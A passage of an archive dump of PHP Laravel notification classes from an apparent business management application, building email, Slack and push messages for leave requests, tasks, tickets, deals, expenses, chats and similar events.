representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('login'); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newUser.text') . '

' . __('app.email') . ': ' . $notifiable->email . '
' . __('app.password') . ': ' . $this->password . ''; $build ->subject(__('email.newUser.subject') . ' ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company ? $this->company->header_color : null, 'actionText' => __('email.newUser.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $notifiable->toArray(); } } Notifications/TestPush.php000064400000004342150325104510011644 0ustar00pushNotificationSetting = \App\Models\PushNotificationSetting::first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { if ($this->pushNotificationSetting->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, 'This is a test notification.', 'Notification content goes here.', 'https://www.google.com'); } if ($this->pushNotificationSetting->status == 'active') { return [OneSignalChannel::class]; } return []; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ // phpcs:ignore public function toMail($notifiable) { $build = parent::build($notifiable); $url = getDomainSpecificUrl(route('login')); $content = __('email.notificationIntro'); $build ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.notificationAction') ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ // ]; } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject('This is a test notification.') ->setBody('Notification content goes here.'); } } Notifications/LeaveStatusApprove.php000064400000006203150325104510013660 0ustar00leave = $leave; $this->company = $this->leave->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-leave-application')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('leaves.show', $this->leave->id); if ($this->leave->duration == "multiple") { $url .= '?type=single'; } $url = getDomainSpecificUrl($url, $this->company); if (session()->has('dateRange')) { $contentDate = session('dateRange'); } else { $contentDate = $this->leave->leave_date->format($this->company->date_format); } $content = __('email.leave.approve') . '
' . __('app.date') . ': ' . $contentDate . '
' . __('app.status') . ': ' . $this->leave->status . '
'; if (!is_null($this->leave->approve_reason)) { $content .= __('messages.reasonForLeaveApproval') . ': ' . $this->leave->approve_reason; } $build ->subject(__('email.leaves.statusSubject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->leave->toArray(); } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.leave.approve') . "\n" . __('app.date') . ': ' . $this->leave->leave_date->format($this->company->date_format) . "\n" . __('app.status') . ': ' . $this->leave->status); } } Notifications/NewExpenseRecurringMember.php000064400000007660150325104510015165 0ustar00expense = $expense; $this->company = $this->expense->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-expenseadded-by-member')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable?->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newExpenseRecurring.subject'), $this->expense->item_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ //phpcs:ignore public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('recurring-expenses.show', $this->expense->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newExpenseRecurring.subject') . '.' . '
' . __('app.employee') . ': ' . $this->expense->user->name . '
' . __('modules.expenses.itemName') . ': ' . $this->expense->item_name . '
' . __('app.price') . ': ' . $this->expense->currency->currency_symbol . $this->expense->price; $build ->subject(__('email.newExpenseRecurring.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newExpenseRecurring.action') ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->expense->toArray(); } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.newExpenseRecurring.subject') . ' - ' . $this->expense->item_name . ' - ' . $this->expense->currency->currency_symbol . $this->expense->price . "\n" . url('/login')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newExpenseRecurring.subject')) ->setBody($this->expense->item_name . ' by ' . $this->expense->user->name); } } Notifications/DealStageUpdated.php000064400000005114150325104510013223 0ustar00deal = $deal; $this->company = $this->deal->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'lead-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array('database'); if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('deals.show', $this->deal->id); $url = getDomainSpecificUrl($url, $this->company); $leadStage = __('modules.leadContact.stage') . ': '; $leadPipeline = __('modules.deal.pipeline') . ': '; $content = __('email.dealStatus.subject') . '
' . __('modules.lead.clientName') . ': ' . $this->deal->contact->client_name_salutation . '
' . $leadPipeline . $this->deal->pipeline->name. '
' . $leadStage . $this->deal->leadStage->name; $build ->subject(__('email.dealStatus.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.dealStatus.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->deal->id, 'name' => $this->deal->name, 'stage' => $this->deal->leadStage->name, 'agent_id' => $notifiable->id, 'added_by' => $this->deal->added_by ]; } } Notifications/NewDiscussionMention.php000064400000007476150325104510014227 0ustar00discussion = $discussion; $this->company = $this->discussion->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'project-mention-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.discussion.mentionSubject'), $this->discussion->title); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $url = route('discussion.show', $this->discussion->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.discussion.mentionContent') . ' ' . $this->discussion->title . '
' . __('app.projectName') . ':' . $this->discussion->project->project_name; return parent::build($notifiable) ->subject(__('email.discussion.mentionSubject') . ':' . $this->discussion->title . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.discussion.action'), 'notifiableName' => $notifiable->name ]); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->discussion->id, 'title' => $this->discussion->title, 'project_id' => $this->discussion->project_id, 'user' => $this->discussion->user->name ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.discussion.mentionSubject') . '*' . "\n" . $this->discussion->title); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->subject(__('email.discussion.subject')) ->body($this->discussion->title); } } Notifications/SubTaskCompleted.php000064400000005451150325104510013300 0ustar00subTask = $subTask; $this->company = $this->subTask->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'task-completed')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', [$this->subTask->task->id, 'view' => 'sub_task']); $url = getDomainSpecificUrl($url, $this->company); $content = $this->subTask->title . ' ' . __('email.subTaskComplete.subject') . '.' . '
' . ((!is_null($this->subTask->task->project)) ? __('app.project') . ' - ' . $this->subTask->task->project->project_name : '') . '
'; $build ->subject(__('email.subTaskComplete.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.subTaskComplete.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->subTask->task->id, 'created_at' => $this->subTask->created_at->format('Y-m-d H:i:s'), 'heading' => $this->subTask->title, 'completed_on' => (!is_null($this->subTask->completed_on)) ? $this->subTask->completed_on->format('Y-m-d H:i:s') : now()->format('Y-m-d H:i:s') ]; } } Notifications/NewLeaveRequest.php000064400000010104150325104510013135 0ustar00leave = $leave; $this->company = $this->leave->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-leave-application')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.leaves.subject') . ' by: ' . $this->leave->user->name, $this->leave->leave_date->format($this->company->date_format) . ' ' . $this->leave->type->type_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('leaves.show', $this->leave->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.leaves.subject') . ' by: ' . $this->leave->user->name . '.' . '
' . __('app.date') . ': ' . $this->leave->leave_date->format($this->company->date_format) . '
' . __('modules.leaves.leaveType') . ': ' . $this->leave->type->type_name . '
' . __('modules.leaves.reason') . ':- ' . $this->leave->reason; $build ->subject(__('email.leaves.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->leave->id, 'user_id' => $this->leave->user->id, 'user' => $this->leave->user ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.leaves.subject') . "\n" . $this->leave->user->name . "\n" . '*' . __('app.date') . '*: ' . $this->leave->leave_date->format($this->company->date_format) . "\n" . '*' . __('modules.leaves.leaveType') . '*: ' . $this->leave->type->type_name . "\n" . '*' . __('modules.leaves.reason') . '*' . "\n" . $this->leave->reason); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.leaves.subject')) ->setBody('by ' . $this->leave->user->name); } } Notifications/ProjectNoteMention.php000064400000007622150325104510013657 0ustar00project = $project; $this->event = $event; $this->company = $this->project->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'project-mention-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.projectNote.mentionSubject'), $this->project->project_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $url = route('projects.show', $this->project->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.projectNote.mentionText') . ' - ' . $this->project->project_name . '
'; return parent::build($notifiable) ->subject(__('email.projectNote.mentionSubject') . ' - ' . config('app.name') . '.') ->markdown( 'mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.projectNote.action'), 'notifiableName' => $notifiable->name ] ); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->project->id, 'created_at' => $this->project->created_at->format('Y-m-d H:i:s'), 'heading' => $this->project->project_name, ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content('*' . __('email.projectNote.mentionText') . '*' . "\n" . __('email.newProjectMember.text') . ' - ' . $this->project->project_name); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->subject(__('email.projectNote.mentionSubject')) ->body($this->project->heading . ' ' . __('email.projectNote.subject')); } } Notifications/TaskApproval.php000064400000011330150325104510012467 0ustar00task = $task; $this->updatedBy = $updatedBy; $this->company = $this->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id) ->where('slug', 'task-status-updated')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && isset($notifiable) && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskApproval.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build(); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $projectTitle = (!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''; $content = __('email.taskApproval.text') . '

' . 'Task Status: ' . $this->task->boardColumn->column_name . '
' . __('email.taskApproval.updatedBy') . ': ' . $this->updatedBy->name . '
' . __('app.task') . ': ' . $this->task->heading . '
' . $projectTitle; $build ->subject(__('email.taskApproval.subject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskApproval.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading, 'completed_on' => (!is_null($this->task->completed_on)) ? $this->task->completed_on->format('Y-m-d H:i:s') : now()->format('Y-m-d H:i:s') ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('*' . __('email.taskApproval.subject') . '*' . "\n" . '<' . $url . '|' . $this->task->heading . '>' . "\n" . ' #' . $this->task->task_short_code . (!is_null($this->task->project) ? "\n" . __('app.project') . ' - ' . $this->task->project->project_name : '')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskApproval.subject')) ->setBody($this->task->heading . ' ' . __('email.taskApproval.subject') . ' #' . $this->task->task_short_code); } } Notifications/TwoFactorCode.php000064400000002302150325104510012562 0ustar00company = $notifiable->company; $twoFaCode = '

' . $notifiable->two_factor_code . '

'; $content = __('email.twoFactor.line1') . '
' . new HtmlString($twoFaCode) . '
' . __('email.twoFactor.line2') . '
' . __('email.twoFactor.line3'); $build ->markdown('mail.email', [ 'content' => $content, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } } Notifications/NewTicketReply.php000064400000007072150325104510013001 0ustar00ticketReply = $ticket; $this->ticket = $ticket->ticket; $this->company = $this->ticket->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-support-ticket-request')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active' && $notifiable->isEmployee($notifiable->id)) { array_push($via, 'slack'); } return $via; } public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tickets.show', $this->ticket->ticket_number); $url = getDomainSpecificUrl($url, $this->company); if ($this->ticketReply->user_id == $notifiable->id) { $text = '

' . __('email.ticketReply.repliedText') . $this->ticket->subject . ' #' . $this->ticket->ticket_number . '

' . __('app.by') . ' ' . $this->ticketReply->user->name; } else { $text = '

' . __('email.ticketReply.receivedText') . $this->ticket->subject . ' #' . $this->ticket->ticket_number . '

' . __('app.by') . ' ' . $this->ticketReply->user->name; } $content = new HtmlString($text); $build ->subject(__('email.ticketReply.subject') . ' - ' . $this->ticket->subject) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.ticketReply.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } public function toSlack($notifiable) { $url = route('tickets.show', $this->ticket->ticket_number); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('*' . __('email.ticketReply.subject') . '*' . "\n" . $this->ticket->subject . "\n" . __('modules.tickets.requesterName') . ' - ' . $this->ticket->requester->name . "\n" . '<' . $url . '|' . __('modules.tickets.ticket') . ' #' . $this->ticket->id . '>' . "\n"); } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->ticket->id, 'created_at' => $this->ticketReply->created_at->format('Y-m-d H:i:s'), 'subject' => $this->ticket->subject, 'user_id' => $this->ticketReply->user_id, 'status' => $this->ticket->status, 'agent_id' => $this->ticket->agent_id, 'ticket_number' => $this->ticket->ticket_number ]; } } Notifications/NewContract.php000064400000003714150325104510012316 0ustar00contract = $contract; $this->company = $this->contract->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = url()->temporarySignedRoute('front.contract.show', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->contract->hash); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newContract.text') . '
'; $build ->subject(__('email.newContract.subject')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('app.view') . ' ' . __('app.menu.contract'), 'notifiableName' => $notifiable->name]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->contract->toArray(); } } Notifications/DailyScheduleNotification.php000064400000014421150325104510015152 0ustar00userData = $userData; $this->company = $this->userData['user']->company; $this->userModules = $this->userModules($this->userData['user']->id); $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'daily-schedule-notification')->first(); } /** * Get the notification's delivery channels. * * @return array */ public function via($notifiable) { $via = []; $modulesToCheck = ['tasks', 'events', 'holidays', 'leaves', 'recruit']; if (!empty(array_intersect($modulesToCheck, $this->userModules))) { if ($this->emailSetting->send_email == 'yes') { array_push($via, 'mail'); } } if (!empty(array_intersect($modulesToCheck, $this->userModules))) { if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.dailyScheduleReminder.subject', ['date' => now()->format($this->company->date_format)]), $this->userData['tasks'] . ' ' . $this->userData['events'] . ' ' . $this->userData['holidays'] . ' ' . $this->userData['leaves'] . ' ' . $this->userData['interview']); } return $via; } /** * Get the mail representation of the notification. */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = getDomainSpecificUrl(route('dashboard'), $this->company); $content = __('email.dailyScheduleReminder.content') . '
'; if (in_array('tasks', $this->userModules)) { $content .= '
' . __('email.dailyScheduleReminder.taskText') . ': ' . $this->userData['tasks'] . ''; } if (in_array('events', $this->userModules)) { $content .= '
' . __('email.dailyScheduleReminder.eventText') . ': ' . $this->userData['events'] . ''; } if (in_array('holidays', $this->userModules)) { $content .= '
' . __('email.dailyScheduleReminder.holidayText') . ': ' . $this->userData['holidays'] . ''; } if (in_array('leaves', $this->userModules)) { $content .= '
' . __('email.dailyScheduleReminder.leavesText') . ': ' . $this->userData['leaves'] . ''; } if (module_enabled('Recruit') && in_array('recruit', $this->userModules)) { $content .= '
' . __('email.dailyScheduleReminder.interviewText') . ': ' . $this->userData['interview'] . ''; } $buildFinal = $build ->subject(__('email.dailyScheduleReminder.subject', ['date' => now()->format($this->company->date_format)])) ->markdown('mail.email', [ 'notifiableName' => $this->userData['user']->name, 'content' => $content ]); parent::resetLocale(); return $buildFinal; } public function userModules($userId) { $userData = User::find($this->userData['user']->id); $roles = $userData->roles; $userRoles = $roles->pluck('name')->toArray(); $module = new \App\Models\ModuleSetting(); if (in_array('admin', $userRoles)) { $module = $module->where('type', 'admin'); } elseif (in_array('employee', $userRoles)) { $module = $module->where('type', 'employee'); } $module = $module->where('status', 'active'); $module->select('module_name'); $module = $module->get(); $moduleArray = []; foreach ($module->toArray() as $item) { $moduleArray[] = array_values($item)[0]; } return $moduleArray; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $url = getDomainSpecificUrl(route('dashboard'), $this->company); $subject = '*' . __('email.dailyScheduleReminder.subject') . ' ' . now()->format($this->company->date_format) . ' ' . config('app.name') . '!*' . "\n"; $content = ''; if (in_array('tasks', $this->userModules)) { $content .= __('email.dailyScheduleReminder.taskText') . ': ' . '<' . $url . '|' . $this->userData['tasks'] . '>' . "\n"; } if (in_array('events', $this->userModules)) { $content .= __('email.dailyScheduleReminder.eventText') . ': ' . '<' . $url . '|' . $this->userData['events'] . '>' . "\n"; } if (in_array('holidays', $this->userModules)) { $content .= __('email.dailyScheduleReminder.holidayText') . ': ' . '<' . $url . '|' . $this->userData['holidays'] . '>' . "\n"; } if (in_array('leaves', $this->userModules)) { $content .= __('email.dailyScheduleReminder.leavesText') . ': ' . '<' . $url . '|' . $this->userData['leaves'] . '>' . "\n"; } if (module_enabled('Recruit') && in_array('recruit', $this->userModules)) { $content .= __('email.dailyScheduleReminder.interviewText') . ': ' . '<' . $url . '|' . $this->userData['interview'] . '>' . "\n"; } return $this->slackBuild($notifiable)->content($subject . $content); } } Notifications/ShiftChangeStatus.php000064400000005244150325104510013456 0ustar00employeeShiftSchedule = $employeeShiftSchedule; $this->company = $this->employeeShiftSchedule->shift->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'shift-assign-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('dashboard'); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.shiftChangeStatus.text') . ': ' . __('app.' . $this->employeeShiftSchedule->status) . '
'. __('app.date') . ': ' . $this->employeeShiftSchedule->shiftSchedule->date->toFormattedDateString() . '
'. __('modules.attendance.shiftName') . ': ' . $this->employeeShiftSchedule->shift->shift_name; $build ->subject(__('email.shiftChangeStatus.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.loginDashboard'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'user_id' => $this->employeeShiftSchedule->shiftSchedule->user_id, 'status' => $this->employeeShiftSchedule->status, 'new_shift_id' => $this->employeeShiftSchedule->employee_shift_id, 'date' => $this->employeeShiftSchedule->shiftSchedule->date ]; } } Notifications/NewChat.php000064400000007224150325104510011420 0ustar00userChat = $userChat; $this->emailSetting = EmailNotificationSetting::where('slug', 'message-notification')->first(); $this->company = $this->userChat->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && slack_setting()->status == 'active') { array_push($via, 'slack'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newChat.subject'), strip_tags($this->userChat->message)); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $content = $this->userChat->message; $url = route('messages.index'); $url = getDomainSpecificUrl($url, $this->company); $build ->subject(__('email.newChat.subject') . ' ' . __('app.from') . ' ' . $this->userChat->fromUser->name) 